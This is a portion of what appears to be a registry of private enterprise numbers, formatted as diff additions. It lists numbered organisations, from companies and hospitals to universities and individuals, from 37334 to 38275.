+37334 Norsk Hydro ASA
+37335 DimpleDough
+37336 Identity Solutions Pty Ltd
+37337 RandomStorm Ltd
+37338 C3
+37339 Open IPTV Forum, e.V.
+37340 Teclo Networks
+37341 Plexxi, Inc.
+37342 uCIRRUS Corp
+37343 InterScot Network
+37344 Express TeleCom JSC
+37345 it suits IT
+37346 Medicity
+37347 IT-Services der Oesterreichischen Sozialversicherungs GmbH
+37348 Compact Software International SA
+37349 Family Trach
+37350 SkyOnline Argentina
+37351 Agile Europe s. r. o.
+37352 Ministerio de Relaciones Exteriores, Comercio Internacional y Culto
+37353 Euroports
+37354 Arawat Inc
+37355 Norris Communications
+37356 Deutschmann Automation GmbH & Co. KG
+37357 Auderis
+37358 Regionalmedien Austria AG
+37359 PaperlinX Europe
+37360 Hypace Technology Co.,Ltd
+37361 EquiVox Inc.
+37362 Center Information Technologies of Amur Region
+37363 Viishanke Oy
+37364 Likewise Software
+37365 AeCS Aeroclub Saar e.V.
+37366 Network Application Engineering Laboratories LTD.
+37367 UNIVISION SRL
+37368 AND Technology Research Ltd.
+37369 CyberCité
+37370 Mark White
+37371 Idibri
+37372 University of San Diego
+37373 MitraStar Technology Corporation
+37374 Brainstorm Mobile Solutions Ltd
+37375 DATA 5 Ingenieurbuero fuer Datentechnik GmbH
+37376 Gerhard Messer
+37377 Chaos Creations
+37378 Dansk Kabel TV
+37379 Charles Schwab & Co., Inc.
+37380 Computer Output Print & Internet (COPI)
+37381 Balidev.com
+37382 Danateq PTE Ltd
+37383 Infocom Network Limited
+37384 Onze Lieve Vrouw Ziekenhuis Aalst
+37385 Centrum Informatyki ZETO S.A. w Białymstoku
+37386 CEGES/SOMA
+37387 NAVUM GmbH
+37388 Lietuvos Respublikos Seimo kanceliarija
+37389 BYO NETWORKS
+37390 Adyton Systems AG
+37391 Ministry of health Republic of Macedonia
+37392 PROBE Inc.
+37393 Tazarv Afzar Co.
+37394 Farsinet
+37395 kaspian sanat co.
+37396 Usługi Informatyczne ITS Mariusz Kryński
+37397 MMB Research Inc.
+37398 ThreatMetrix
+37399 Oceans Edge Inc
+37400 Topsoft ZRt
+37401 FancyFon Software
+37402 neverpanic.de
+37403 Marmiko IT-Solutions GmbH
+37404 Rischioto Corp
+37405 HeBei FarEast Harries comunication company
+37406 AHASWARE s.r.o.
+37407 Comcraft
+37408 Callis Technologies
+37409 Home Credit International, a. s.
+37410 Opus VFX
+37411 L-S-B Broadcast Technologies GmbH
+37412 Cable Manufacturing Business, Inc
+37413 Smile SA
+37414 Tipjar L.L.C.
+37415 International Radio and Electronics Corp.
+37416 Rivet Software
+37417 EFM s.r.l.
+37418 Mobile People
+37419 Bonprix sp. z.o.o
+37420 Virtual Bit di Lucio Crusca
+37421 Factum IT BV
+37422 Start Norge
+37423 Unassigned
+37424 MDL29
+37425 Ericsson-LG Enterprise Co., Ltd. (formerly "LG-Ericsson Co., Ltd.")
+37426 Travelzen Group Ltd.
+37427 ENTE
+37428 Bürkert Werke GmbH
+37429 Grand Canyon University
+37430 Electronic Power And Market Sp. z o.o.
+37431 Montalbano Technology SPA
+37432 Carbon Mountain LLC
+37433 Custom Radio Network, Inc.
+37434 ZenRobotics Ltd.
+37435 Gensler IT-Support
+37436 Maritime Broadband Inc.
+37437 Softec Integrations AG
+37438 networks direkt Gesellschaft für Informationstechnologie mbH
+37439 Computer Network Limited
+37440 Digitalwatt S.r.L
+37441 OCI Nitrogen
+37442 ANFAC Autoridad de Certificación Ecuador C.A.
+37443 Centina Systems
+37444 Digital Products Limited
+37445 Atlantic Intertrade Ltd.
+37446 Andrey Klyachkin
+37447 Nimble Storage
+37448 ENBLINK
+37449 Opzoon Technology Co., Ltd.
+37450 Sodrugestvo Group of Companies
+37451 Effdon Networks Ltd.
+37452 Delta Sistemi Srl
+37453 B-Obvious
+37454 Newsweb
+37455 Abertis Autopistas España
+37456 The New School
+37457 Medas S.R.L.
+37458 QualCare, Inc
+37459 Yealink
+37460 Nova banka AD
+37461 Peakwork GmbH
+37462 COGISTICS, INC.
+37463 Leitwelt GmbH
+37464 Intelligrated, Inc
+37465 DataDesign
+37466 Digitactics, Inc.
+37467 Arpeggio Software Inc
+37468 Educational Service Unit Coordinating Counsel
+37469 Shenzhen Communication Technology Co.Ltd
+37470 Power Internet Ltd
+37471 QEES Aps.
+37472 Cuculus GmbH
+37473 Used Car Dealers Association of Ontario
+37474 sedkol
+37475 OT Systems Limited
+37476 ViaThinkSoft
+37477 SIGNALIS
+37478 The Karthikeyans
+37479 Warimax Ltd.
+37480 SkySQL Ab
+37481 Canyons School District
+37482 Stewart McKelvey
+37483 A.5 Security Consulting Group, SL
+37484 PT. Teknologi Multimedia Indonesia
+37485 Alico Graphic Web Designs
+37486 OOO Verified Solutions
+37487 Nicolas Ledez
+37488 Ridgetop Group, Inc.
+37489 Scality
+37490 ENCO Systems, Inc.
+37491 FTM Systems Kft.
+37492 Mindstorm Networks
+37493 Cyberlink AG
+37494 Vincent de Lau
+37495 MARS Advanced Research Systems
+37496 ZHEJIANG DAHUA TECHNOLOGY CO.,LTD
+37497 Delphi Innovations
+37498 NasuTek Enterprises
+37499 NetSoft Distributed Solutions Pty Ltd
+37500 Schmid Industrieholding
+37501 Progetto Archivio S.r.l.
+37502 kyberna AG
+37503 Seratel Technology SAL
+37504 ONETASTIC S.r.l.
+37505 WSO2 Inc.
+37506 Biodec s.r.l.
+37507 Freenet Liberec, o.s.
+37508 AQUAPHOR
+37509 DirectorySelfService
+37510 SilentSystem
+37511 Future Dynamics Interstellar
+37512 Systems Corps
+37513 Citkomm
+37514 Raphael Frasch GmbH
+37515 Avajadi Solutions
+37516 Software Integration Development
+37517 Sveriges Radio AB
+37518 Firewall Services
+37519 Draexlmaier Group
+37520 Kassenaerztliche Vereinigung Baden-Wuerttemberg
+37521 Network Pipeline Inc.
+37522 Kousec Software, Inc.
+37523 Alyrica Networks Inc
+37524 Com1 Communication Solutions B.V.
+37525 Infovide-Matrix
+37526 WellCentive, LLC
+37527 Signalsky Communication Co., Ltd.
+37528 Crompton Greaves Limited
+37529 A and A System Co., Ltd.
+37530 WebRadar
+37531 Frank Moeller
+37532 BBT Technology Corp.
+37533 Delta Electronics (Thailand) Public Co.,Ltd
+37534 uher.info
+37535 microDATA GIS, Inc.
+37536 NRG2 B.V.
+37537 JADE
+37538 Big Switch Networks
+37539 Code One GmbH
+37540 N3 Labs Sdn. Bhd.
+37541 COMPUTER HI-TECH INC.
+37542 Depelmaan Ltd
+37543 Crowe Horwath LLP
+37544 UM Labs Ltd
+37545 ACCEO Solutions inc. (formerly 'GFI Solutions Group inc.')
+37546 BNP Paribas Fortis group
+37547 Europapier International GmbH
+37548 CenturyLink
+37549 C&T sas
+37550 Flexenclosure AB
+37551 IFM Infomaster SpA
+37552 RAYCORE TAIWAN CO., LTD.
+37553 FRDLWEB
+37554 Archbold Medical Center
+37555 Enabling Technologies Company, Inc.
+37556 Brandwatch
+37557 Pathology Associates Medical Laboratories, LLC
+37558 VM-DG Hemmert & Schuster GbR
+37559 Socialcast
+37560 Netscout Systems, Inc. (formerly 'Simena, LLC')
+37561 Beijing KEMACOM technologies Co., Ltd.
+37562 Hangzhou Yuwan Technology Co., Ltd.
+37563 NNS - Nigl Network Solutions
+37564 Everest Display Inc.
+37565 Struck Innovative Systeme GmbH
+37566 Discovery Reply S.r.l.
+37567 Orbital ATK, Inc (formerly 'Alliant Techsystems Inc.')
+37568 Commend International GmbH
+37569 Vocative Ltd.
+37570 ELFF Tech
+37571 KVUC
+37572 Panini s.p.a.
+37573 LightSoft Research Ltd.
+37574 Alberta Distance Learning Centre
+37575 Infobip LTD
+37576 NovelSat
+37577 Branch of LLC "Tabak-Invest" Trade Center "Korona"
+37578 Samworth Brothers Ltd
+37579 Synetrix Holdings Limited
+37580 Chao-Inn elementary school
+37581 Mika timing GmbH
+37582 Theobroma Systems Design und Consulting GmbH
+37583 Surescripts, LLC
+37584 Gary Hawkins
+37585 QDIAGNOSTICA
+37586 E-sektionens Teletekniska Avdelning
+37587 QualVu, Inc.
+37588 QingDao Easytelecom Co., Ltd.
+37589 Institut de l'Ebre
+37590 Meyer Burger Technology AG
+37591 Reggiani
+37592 Ev.-Luth. Brüdergemeinde Enger e.V.
+37593 Platform-a Arastirma Gelistirme Koordinasyon Hizmetleri A. S.
+37594 Netmining LLC
+37595 Geomarine Ltd
+37596 Agri-hitech LLC
+37597 Decatur Hospital Authority dba Wise Regional Health System
+37598 CipherCloud, Inc.
+37599 Meontrust Inc.
+37600 ledeuns.org
+37601 Xech S.r.l.
+37602 Spider Software GmbH
+37603 Meami.org
+37604 RMG Tech (Malaysia) Sdn Bhd
+37605 MCX Telecom 2 Sp. z o.o.
+37606 "SM Finance",JSC
+37607 Cascada Software & Consulting
+37608 CareEvolution, Inc
+37609 Dang Networks Inc.
+37610 The TuxClan
+37611 CJSC TSI Service
+37612 Kassenärztliche Vereinigung Niedersachsen
+37613 ennovatis GmbH
+37614 Siqura
+37615 V Labs Informatica Ltda
+37616 SATS Holding AB
+37617 Ventek Sistemas e Automação
+37618 Tumblr
+37619 SCHIEx
+37620 Alegent Health
+37621 Ename, S.A.
+37622 Chrysalis Utah, Inc.
+37623 Red Hound Software, Inc.
+37624 M & PI Software S.r.l.
+37625 Mike Johnson
+37626 STC AKTOR
+37627 ensemble
+37628 NETRATOR Andrzej Dopierala
+37629 COMTEC NET
+37630 Iron Technology Solutions Ltd
+37631 Plasmatronics Pty Ltd
+37632 The Frontier Group
+37633 Bolnisnica Golnik KOPA
+37634 Achieve3000, Inc.
+37635 Awarepoint
+37636 Catholic Health
+37637 Henry County Hospital
+37638 Infinitrum Co., Ltd
+37639 ECYS S.A.
+37640 Federal Cardiovascular surgery center
+37641 Neebula Systems
+37642 GK "SoftExpert"
+37643 IBM BTO Business Consulting Services Sp. z o.o.
+37644 Fuzhou Ucore Information Technologies Co,.Ltd
+37645 Medical Data Express
+37646 Wyoming Valley Health Care System
+37647 Ministry of Interior - UAE (Governmental Entity)
+37648 Kalmia Technology Co, LLC
+37649 Helium Inc.
+37650 Shared Technology Services Group, Inc.
+37651 JoyStem Web Services Private Limited
+37652 I-TECH
+37653 Lamby
+37654 Moccu GmbH
+37655 Far South Networks
+37656 Broxtowe Borough Council
+37657 Erskine Design
+37658 Czech National Bank
+37659 ControlCircle Ltd.
+37660 Unit of Research of Technologies of Information and Communication (UTIC)
+37661 Transcon Electronic Systems spol. s r. o.
+37662 Ablerex Electronic Co., Ltd.
+37663 nGen - Niagara Interactive Media Generator
+37664 Zone de Police Midi
+37665 R. W. Beckett Corporation
+37666 Airebullas C.B.
+37667 Office of the Auditor General of Norway
+37668 bit GmbH
+37669 FONDEMI
+37670 Barling Bay LLC
+37671 The Biostatistics Center - GWU
+37672 Odine Solutions LLC
+37673 Estech Systems, Inc.
+37674 Heineken International
+37675 LoveBee
+37676 Sutunam Co., Ltd.
+37677 Linuxsoft s.r.o.
+37678 Hall Research
+37679 AGILiCOM
+37680 Scott Ellis
+37681 Sinefa Pty Ltd
+37682 AlexxHost
+37683 TimoCom Soft- und Hardware GmbH
+37684 Grupo Alsa
+37685 Online Marketing Solutions AG
+37686 Lookout Mobile Security, Inc.
+37687 Bethesda Memorial Hospital
+37688 ACE Computer bv
+37689 unixtastic
+37690 JOTATEC
+37691 Broadcast Devices Inc.
+37692 StringIT
+37693 Brattleboro Memorial Hospital
+37694 Tsubakimoto Chain Co.
+37695 Quantum Data Systems (HK) Ltd
+37696 WIKA Polska S.A.
+37697 Higher One
+37698 Customs and Border Protection
+37699 Implaneo Dental Clinic (formerly 'BolzWachtel Dental Clinic')
+37700 Axed S.p.A.
+37701 energie-m.de
+37702 Narodowy Fundusz Zdrowia - Centrala
+37703 Mywindowslab.com
+37704 Interconcept GmbH
+37705 CommSoft RMS LLC
+37706 Netmedia Systems e. K.
+37707 Rocrail
+37708 Systola Forwarding GmbH
+37709 S3 Satcom Ltd
+37710 Dane E. Jones
+37711 FileMaker Inc
+37712 Eurosistemi
+37713 Winextreme.org
+37714 AppFolio, Inc.
+37715 FTN
+37716 Ville de Lausanne
+37717 Herbert Smith LLP
+37718 Fresenius Vial
+37719 PT. Multi Structure
+37720 CSR ZHUZHOU INSTITUTE CO LTD
+37721 OpenSys (M) Berhad
+37722 Trusted Information Consulting Sp. z o.o.
+37723 ODIN technologies
+37724 Chalet Technologies Inc.
+37725 Yupiq Corp
+37726 Bertol, Alexander
+37727 General Digital Corporation
+37728 ADV Consulting
+37729 ATS Group GmbH
+37730 p-rimes.net
+37731 MB S.p.A.
+37732 Ymif Engineering b.v.
+37733 Civil Registry Agency of Ministry of Justice of Georgia
+37734 ASSA ABLOY AB - Group Technologies
+37735 St. Mary's Medical Center
+37736 PinnacleHealth System
+37737 GUANGDONG DONYAN NETWORK TECHNOLOGIES CO.,LTD.
+37738 Apadmi Ltd
+37739 Braintree Payment Solutions, LLC
+37740 Johannes Roith
+37741 First Step Internet, LLC
+37742 Iprio Corporation
+37743 Robert Frank
+37744 Centrify Corporation
+37745 spampig.org.uk
+37746 Security Data S.A.
+37747 Mercy Health Partners
+37748 GIAVANEERS
+37749 Wire e Wireless World, SA
+37750 Quester Tangent
+37751 E.I. du Pont de Nemours and Company
+37752 NETS DENMARK A/S
+37753 Robin Partington Architects
+37754 Nextragen GmbH
+37755 Radio Activity srl
+37756 The Ministry of Interior of the Republic of Croatia
+37757 Newton Graphics, Inc.
+37758 Actidata Company
+37759 WXXR Network Technology Ltd. BEIJING
+37760 Powertech Automation Solutions Pvt. Ltd
+37761 Altitude Software
+37762 Neotion R&D
+37763 Bitxenio, S.L.
+37764 Portel Servicios Telemáticos
+37765 LHERITIER
+37766 Beijing Banggoo Networks Co,Ltd.
+37767 Gartner Inc.
+37768 Bundesministerium für Arbeit und Soziales
+37769 Koramis GmbH
+37770 IDmachines LLC
+37771 Linkwise Technology Private Limited
+37772 AERODEV
+37773 OAO NESK Novorossiyskenergosbit
+37774 51.6 Noord B.V.
+37775 BaoBros Studio
+37776 Co. Ltd. "RCS Labs"
+37777 Cabinet Pierre Guerin
+37778 Northern Design (Electronics) Ltd
+37779 Nuvolas
+37780 MicroRIGHT Corporation
+37781 eZuce Inc
+37782 KindleIT
+37783 Wolf Pond Creative LLC
+37784 IDC Solutions Pty Ltd
+37785 Ingenieurbuero Jan F Westerkamp (IBW)
+37786 Galtronics Telemetry, Inc.
+37787 Emirates Identity Authority
+37788 Syslife
+37789 Novapost SAS
+37790 Gould International UK Ltd
+37791 PortaOne, Inc.
+37792 Enfuse Inc
+37793 Squirrel Solutions Ltd
+37794 DVR Support Center
+37795 Centre Hospitalier du Nord
+37796 PTS Group AG
+37797 Graylog2
+37798 Pcmedic
+37799 Coloriuris A.I.E.
+37800 Aster Data Systems, Inc
+37801 Innovactive Engineering s.r.l.
+37802 Sypris Solutions, Inc
+37803 California State University San Marcos
+37804 Spirit Software Solutions
+37805 Team Simoco Ltd.
+37806 North Power Coporation (EVN NPC)
+37807 Instituto Tecnológico de Canarias
+37808 FIBCOM INDIA LIMITED
+37809 Wnet Wisp S.r.l
+37810 PCE SYSTEMS
+37811 Glass Echidna
+37812 Kotkamills Oy
+37813 DSM Computer GmbH
+37814 Infinidat LTD
+37815 Friendly Runet Foundation
+37816 skweez.net
+37817 GMG Technologies
+37818 LEGALBOX
+37819 Technical Dabblings
+37820 Telecore LTD.
+37821 untermStrich software gmbh
+37822 Wolfplex Hackerspace ASBL
+37823 Vimukti Technologies Private Limited
+37824 ECOLE NATIONALE VETERINAIRE D'ALFORT
+37825 Interregional Distribution Grid Company of Volga, JSC
+37826 ISL Internet Sicherheitsloesungen GmbH
+37827 WV Network for Educational Telecomputing (WVNet)
+37828 LIL'SYSTEMS
+37829 Puxlit
+37830 InCampus Pte Ltd
+37831 Techroutes Network
+37832 Clifford Chance LLP
+37833 Southern New Hampshire Medical Center
+37834 No23
+37835 Jerome Baum
+37836 CCM Benchmark Group
+37837 mikroVOX s.r.o.
+37838 Futurad S.r.l.
+37839 OneSystem S.A.
+37840 Veda Advantage
+37841 Flughafen Zürich AG
+37842 Aicox Soluciones S.A.
+37843 Adecco Group
+37844 Eastern Upper Peninsula ISD
+37845 VINCI S.A.
+37846 MEDIAPRINT Zeitungs und Zeitschriften Verlags GesmbH
+37847 Business Information Intelligence Services
+37848 ORSENNA
+37849 Aris System
+37850 Slavic Gospel Association
+37851 YTY Enterprises
+37852 ECCOS inzenjering
+37853 OASIS Systems Pty Ltd
+37854 Crozer-Keystone Health System
+37855 The Reading Hospital and Medical Center
+37856 Essential Enterprise Solutions Inc.
+37857 Veolia Environmental Services - North America
+37858 Synegen
+37859 Synerline sprl
+37860 Source Trading Co., Ltd.
+37861 Austco Communication Systems
+37862 Suntel S.A.
+37863 ETMC Regional Healthcare System
+37864 Cape Cod Healthcare
+37865 City and County of San Francisco, Department of Technology
+37866 Bank of New Zealand
+37867 APG
+37868 VirtualSharp Software
+37869 BruteCO Certificate Authority
+37870 Sensometrix SA
+37871 Digital Vision, s.r.o.
+37872 Neko Consulting Ltd.
+37873 J4care GmbH
+37874 CebaTech Inc.
+37875 oogle Networks LLC
+37876 Delta Management AB
+37877 TITNC Alexander Seifarth
+37878 WineSkills
+37879 NetOrg LTD
+37880 Qowisio
+37881 ESCA
+37882 RedeCamp Ind. Com. e Serviços de Telecomunicações S.A.
+37883 Vitaly Pashkov
+37884 Perfect Home AS
+37885 Renewable Funding, LLC
+37886 Coraid Inc.
+37887 OraPharma, Inc.
+37888 PROGIRIS
+37889 Accord Medical Management, LP DBA Nix Health Care System
+37890 Quality Fiber and RF Inc
+37891 Big Ant Studios Pty Ltd
+37892 GCT Semiconductor, Inc.
+37893 BeyondTrust Software, Inc
+37894 aylite
+37895 LucidView
+37896 IFD Kapital
+37897 Maxwell Management Inc. (MMI)
+37898 Éric Larivière
+37899 Hahn Family
+37900 International Information Programs IR, Deptartment of State
+37901 Aeon Experienced Development
+37902 Polynet Ltd.
+37903 CURUPIRA S/A
+37904 UnixServices
+37905 Beijing Jiaxun Feihong Electrical Co.,Ltd
+37906 Beijing WingMax Technology Co.,Ltd
+37907 Fusion Comm Solution Sdn Bhd
+37908 A puissance 3
+37909 Arantia 2010 S.L.U.
+37910 Modesat Communications
+37911 CDP Communications Inc.
+37912 Locomotive Software & Consulting
+37913 ZAO PTKB "MERCURIY"
+37914 TECNOTEL s.r.l.
+37915 Shenzhen Zyeeda Information Technology Co. Ltd.
+37916 Volvo Car Corporation AB
+37917 MarkitServ
+37918 SAGE Dining Services
+37919 NETMOON
+37920 DEXUS Holdings Pty Limited
+37921 Southwest Institute of Healing Arts
+37922 TeleMedia Systems, Inc.
+37923 Freysteinn Alfredsson
+37924 NokianTyres LLC
+37925 mysql-cluster-snmp-monitor
+37926 Pranveer Singh Institute of Technology
+37927 RTLGroup
+37928 Sheffield Teaching Hospitals NHS Foundation Trust
+37929 PIPS Technology Ltd
+37930 Virus Stopper Foundation Registered NGO No 348 -2010
+37931 Bob Greene
+37932 Jack Storm
+37933 Westchester Medical Center
+37934 Confident Technologies, Inc.
+37935 Danmarks Designskole
+37936 Calendar42
+37937 Schaffhausen Communication GmbH
+37938 Lake Hospital System, Inc.
+37939 Reykjavik University
+37940 WRD Technology Co., Ltd.
+37941 comForte 21 GmbH
+37942 Futuver S.A. de C.V.
+37943 Medium Link System Technology CO., LTD
+37944 megalo & company
+37945 Inspur(BeiJing) Electronic Information Industry Co.,Ltd
+37946 CJSC "Dzetta"
+37947 Banco Central del Ecuador
+37948 TOS.BG
+37949 TenneT TSO
+37950 v-solution
+37951 DataONE
+37952 MoCA by Design
+37953 ControlNet International Inc.
+37954 Kentix GmbH
+37955 Nierhaus
+37956 EMH Healthcare
+37957 Texas Regional Medical Center
+37958 http://www.sentinel-engine.org
+37959 paratio.com e.K.
+37960 MINIADMIN
+37961 COCUS AG
+37962 Mindbender Technologies
+37963 Affirmed Networks, Inc.
+37964 CTI Digital
+37965 Altoona Regional Health System
+37966 Perth Linux Users Group
+37967 Webra JSC
+37968 Elma Electronic GmbH
+37969 OKSEI
+37970 Global Digital Inc.
+37971 EKILIA
+37972 Dyalog Ltd
+37973 Mountain View Systems, LLC.
+37974 Winthrop University Hospital
+37975 imessage.de
+37976 MetaFORM Bilisim Iletisim ve Danismanlik Ltd Sti
+37977 XTO Energy, Inc
+37978 TEB
+37979 Panaram Ltd
+37980 Bayer Business Services GmbH
+37981 Solution Concept s.r.o.
+37982 Netstream AG
+37983 Nux Ltd.
+37984 GsurfNET
+37985 CCDI
+37986 mCarbon Tech innovation pvt. ltd.
+37987 The Hong Kong Country Club
+37988 Jack in the Box
+37989 FASTEK ITALIA S.R.L.
+37990 Intellique
+37991 Letechnic Ltd
+37992 SYSM Systemmanagement Service & Konzepte GmbH
+37993 Hokkaido Telecommunication Network Co., Inc.
+37994 i-free
+37995 Initiative für Netzfreiheit
+37996 KTS GmbH
+37997 4G Technology
+37998 Greenwood Leflore Hospital
+37999 TransPacket AS
+38000 DELEC Audio- und Videotechnik GmbH
+38001 DIgitata LTD
+38002 Innovise IES (formerly 'Innovise ESM Software Ltd.')
+38003 StorMagic Ltd
+38004 Edenred SA
+38005 REFLEXE Technologies
+38006 Dietrich IT-Services
+38007 Handy Networks
+38008 ELECOM S.A.S
+38009 FonSee Technology Inc.
+38010 CE Labs
+38011 NTTM (Name to Telephone Mapping) Limited
+38012 USL, Inc.
+38013 Ampex Data Systems
+38014 NORICS GmbH
+38015 DUHA system s.r.o.
+38016 Exicom Tele-Systems Limited
+38017 SC EXIMTUR SRL
+38018 guideye.de
+38019 Special Systems Engineering Center LLC
+38020 Franklin County Public Schools
+38021 Cfengine AS
+38022 HappyBooking UG (haftungsbeschränkt)
+38023 ultrachaos
+38024 Logic Soft sas
+38025 MindArray Systems (P) Ltd
+38026 ACOME
+38027 Ltd "InfoTechnoService"
+38028 DANTECH Limited
+38029 University of South Florida
+38030 Conngame Co.Ltd.
+38031 NextGate
+38032 EFOLIA
+38033 TeamF1
+38034 IHSE GmbH
+38035 GS1 Sweden AB
+38036 ChronoPay B.V.
+38037 Ståle Hebæk Ødegården
+38038 Informacijsko svetovanje, Miha ValenÄiÄ, s.p.
+38039 Klika d.o.o.
+38040 Reliable System Services Corporation
+38041 Via Christi Health
+38042 Unassigned
+38043 Hear And See Systems OÜ
+38044 wu-way, inc.
+38045 Shenzhen Winhap Commucations Inc.
+38046 Joint Stock Company UniCredit Bank
+38047 JSC STC Electron-Service
+38048 Institut des Sciences de l'Homme
+38049 Zaehlwerk GbR
+38050 Lightbar Software Solutions LLC
+38051 Boy Scouts of America
+38052 Attackplan Software
+38053 Avisit Solutions Limited
+38054 Arellia Corporation
+38055 Gforce Inc.
+38056 Nason Hospital
+38057 D&B Germany GmbH
+38058 Cyanide Studio
+38059 Banking production center
+38060 Sempla Srl
+38061 Edistar Srl
+38062 Marathon Oil Corporation
+38063 Suomen Asiakastieto Oy
+38064 SSL Corp
+38065 Media Alliance, CJSC
+38066 SC Romastru Trading SRL
+38067 Cray Inc (formerly 'APPRO International, Inc.')
+38068 Centrastate Medical Center, Inc.
+38069 Cetis, Inc.
+38070 Anode
+38071 MaximaTelecom JSC
+38072 Linear Photonics, LLC
+38073 Defense Photonics Group
+38074 Statropy Software LLC
+38075 Sentaca Communications
+38076 Radical Creations
+38077 JetPay, LLC
+38078 Nanjing Yxlink Information Technologies Co.,Ltd
+38079 DEAC Medics S de RL de CV
+38080 Pick n Pay
+38081 Rank Group
+38082 HD Vietnam Co.
+38083 SLG Broadcast AG
+38084 Connecture, Inc.
+38085 Solo Cup Company
+38086 Kordia
+38087 Real I.T. Technicians, LLC
+38088 Joshua Tree Software, LLC
+38089 Prometheus Research
+38090 GreenMojito.org
+38091 SolidFire, Inc.
+38092 EtherDVB Pty Ltd
+38093 wopoco.de
+38094 Thales Optronics
+38095 Cooperativa de Ensino Superior Politecnico e Universitario
+38096 CyclopusCAD s.r.l.
+38097 Universidade Estadual de Goiás
+38098 Rostov region office of Federal service of state registration cadaster and cartography
+38099 Transglobal Secure Collaboration Participation Inc. (TSCP)
+38100 CAMI Research Inc.
+38101 Roalter International
+38102 Szechenyi Istvan University
+38103 Dataport AöR
+38104 ProFIX Co.
+38105 Kit Digital
+38106 Nebraska Furniture Mart, Inc.
+38107 Aviosys Inc.
+38108 MicroXel Networks, Inc.
+38109 Domtar
+38110 Arkivum Ltd
+38111 SHENZHEN DINSTAR TECHNOLOGIES Co.,Ltd.
+38112 Wuxi ZhongXun Technology Co.,ltd.
+38113 Red Lion Controls Inc.
+38114 Merseytravel
+38115 Marist College
+38116 ClearBUS
+38117 University College Dublin
+38118 BEI Electronics LLC
+38119 Open Mobile Video Coalition
+38120 UMass Memorial Medical Center
+38121 IOD Incorporated.com
+38122 Red Wire Services, LLC
+38123 kinkajougames
+38124 Harmonic France (formerly 'Thomson Video Networks')
+38125 EuroDNS SA
+38126 COGITOP SAS
+38127 IES Doctor Balmis
+38128 Laurentian University
+38129 Akumen LTD
+38130 Faith Regional Health Services
+38131 RG Nets
+38132 eTruhla s.r.o.
+38133 Ingnitia http://www.ingnitia.com
+38134 National Document Custodians, LLC
+38135 Shield Bridge Inc.
+38136 In Touch Pharmaceuticals, Inc
+38137 Fusionskye
+38138 Hochschule Regensburg
+38139 pro parity IT-Service
+38140 Imtech Marine
+38141 Emich KsE - Kundenspezifische Elektronik
+38142 BHE Bonn Hungary Electronics Ltd.
+38143 CloudBees, Inc.
+38144 Displaydata Ltd (formerly 'ZBD Displays Limited')
+38145 ECG, Inc.
+38146 Access Now
+38147 Mind Matters LLC
+38148 EMCALI E.I.C.E. E.S.P.
+38149 Teknokala Ky
+38150 Altia Consultores S.A.
+38151 Invendis Technologies
+38152 Bauerfeind AG
+38153 Dada S.p.A.
+38154 Autopart International, Inc.
+38155 EXATEQ Ltd.
+38156 Zepheira LLC
+38157 Policìa Nacional de Colombìa
+38158 Open Platform Trust Services
+38159 Unity Global Corporation
+38160 Datto Inc.
+38161 W.W. Grainger, Inc.
+38162 BNTPRO BILGI ve ILETISIM HIZ. LTD. STI.
+38163 Kiesel GmbH
+38164 Ticket Monster Inc
+38165 Kohlpharma GmbH
+38166 nexurium.fr
+38167 Albrecht Jung GmbH & Co. KG
+38168 The Taubman Company
+38169 Life Image Inc
+38170 LocalNet Corp.
+38171 fischerwerke GmbH & Co. KG
+38172 CustosMobile
+38173 Adminia Sistemas
+38174 Hamilton Medical Center
+38175 Dali Wireless, Inc.
+38176 Marken Mehrwert AG
+38177 iCue
+38178 Skytide, Inc
+38179 Bard College
+38180 Kangaroo Media Inc.
+38181 Trinity Health
+38182 CUBE. Corporate Release SA
+38183 Pythagore FD
+38184 Heidelberg Mobil International GmbH
+38185 Detailresult Groep
+38186 Xpandia Ltd.
+38187 Weidmüller Interface GmbH & Co. KG
+38188 StormMQ Limited
+38189 Telemedia LTD
+38190 Magna
+38191 Memjet, Inc.
+38192 Gravity R&D Limited
+38193 Yuduan Mobile Co., Ltd.
+38194 Naga Concept
+38195 Gameservers.com
+38196 Flagship Facility Services
+38197 Lacuna Systems, Inc.
+38198 Rincon Research Corporation
+38199 Fraser Talbot Consulting Services; L.L.C
+38200 Libéo
+38201 Ronald Hummelink
+38202 NETILITY GmbH & Co. KG
+38203 Interactive Systems Engineering SRL
+38204 Six DEE Telecom Solutions Pvt. Ltd.
+38205 University Teleinformatic Center - UTIC, University of Sarajevo
+38206 Eloquera
+38207 Fujian JinQianMao Electronic Technology Co.,Ltd.
+38208 meaganharris.net
+38209 VMC Systems Ltd.
+38210 Xovis AG
+38211 JSC 'Siberian Coal Energy Company'
+38212 Derichebourg
+38213 ACCENT-ELECTRONIC
+38214 Vlatacom
+38215 Hochschule Hamm-Lippstadt - University of Applied Sciences
+38216 Blumenthal S.R.L.
+38217 gigatec GmbH
+38218 Designer Systems Ltd
+38219 Therap Services, LLC
+38220 Private Unitary Enterprise on Rendering Services "Greenwall Systems" (formerly 'IZAO Greenwall Systems')
+38221 IP Gorshkov Yuri Valerevich
+38222 Philips North America LLC
+38223 definition six, inc.
+38224 Caromont Health
+38225 Encell Technology, Inc.
+38226 AriadNEXT
+38227 Wellington and King, Inc.
+38228 PICA GmbH
+38229 GIVC
+38230 Kostroma State Technological University
+38231 Lycée Sainte Marie du Port
+38232 Onondaga Community College
+38233 ARCHE Systeme GmbH
+38234 TESSCO Technologies Incorporated
+38235 ENTERSEKT (PTY) LTD
+38236 Colsys s.r.o.
+38237 Elverson Rod and Gun Club
+38238 karnal talat private limited
+38239 OARC, Inc.
+38240 Butte-Glenn Community College District
+38241 Hanlong Technology Co.,Ltd.
+38242 Shenzhen 33e9 E-Business Co., Ltd
+38243 Thecus Thecnology Corp.
+38244 TOKYO RADAR CORPORATION
+38245 MIBUC-NET
+38246 FSC International Center GmbH
+38247 Charleston Area Medical Center, Inc.
+38248 Nebraska Heart Hospital
+38249 Niagara Health System
+38250 Proventa AG
+38251 Zmanda, Inc.
+38252 EOSSOnline Limited
+38253 Athenta Technologies (P) Ltd., India
+38254 Resolan
+38255 Khalid Shukri IT-Beratung
+38256 ItsOn, Inc.
+38257 nuinno
+38258 WhipTail Technologies
+38259 ADD-Technology SRL
+38260 4SMS ApS
+38261 Brightstone
+38262 Boxcar Press, Inc
+38263 Thomas Memorial Hospital
+38264 Midwest Health Systems Data Center
+38265 Intendencia de Canelones
+38266 Chinese Bible Church of Greater Boston
+38267 UTS Programmers' Society
+38268 Threeline LLC
+38269 rrbone
+38270 inTaligent Digital Consultants
+38271 inTaligent Digital Consultants
+38272 Liberti
+38273 AvePoint, Inc.
+38274 Safirion GmbH
+38275 3-IK
